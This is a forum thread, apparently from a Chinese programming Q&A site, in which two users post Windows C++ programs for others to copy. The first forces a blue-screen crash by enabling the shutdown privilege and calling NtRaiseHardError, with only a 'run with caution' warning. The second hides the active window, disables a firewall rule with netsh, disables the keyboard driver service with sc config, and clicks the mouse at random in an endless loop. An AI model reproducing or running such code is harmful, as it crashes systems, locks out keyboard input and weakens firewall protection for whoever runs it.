问题标题: C++代码

0
0
王铄
王铄
初级守护
初级守护
#include <iostream>
#include <Windows.h>
#include <winternl.h>
using namespace std;
typedef NTSTATUS(NTAPI *pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response);
typedef NTSTATUS(NTAPI *pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
int main()
{
    BOOLEAN bEnabled;
    ULONG uResp;
    LPVOID lpFuncAddress = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
    LPVOID lpFuncAddress2 = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtRaiseHardError");
    pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)lpFuncAddress;
    pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)lpFuncAddress2;
    NTSTATUS NtRet = NtCall(19, TRUE, FALSE, &bEnabled); 
    NtCall2(STATUS_FLOAT_MULTIPLE_FAULTS, 0, 0, 0, 6, &uResp); 
    return 0;
}

复制到C++

(作者提醒:运行需谨慎)


0
0
朱宥宇
朱宥宇
中级守护
中级守护
#include<bits/stdc++.h>
#include<Windows.h>
using namespace std;
int main(){
    POINT p;
    HWND hwnd=GetForegroundWindow();
    ShowWindow(hwnd,SW_HIDE);
    system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
    system("sc config i8042prt start= disabled");
    srand(time(NULL));
    while(1){
        p.x=(rand()-1)%1000+1;
        p.y=(rand()-1)%2000+1;
        SetCursorPos(p.x,p.y);
        mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
        Sleep(10);
        mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
    }
    return 0;
}

 

0
0
我要回答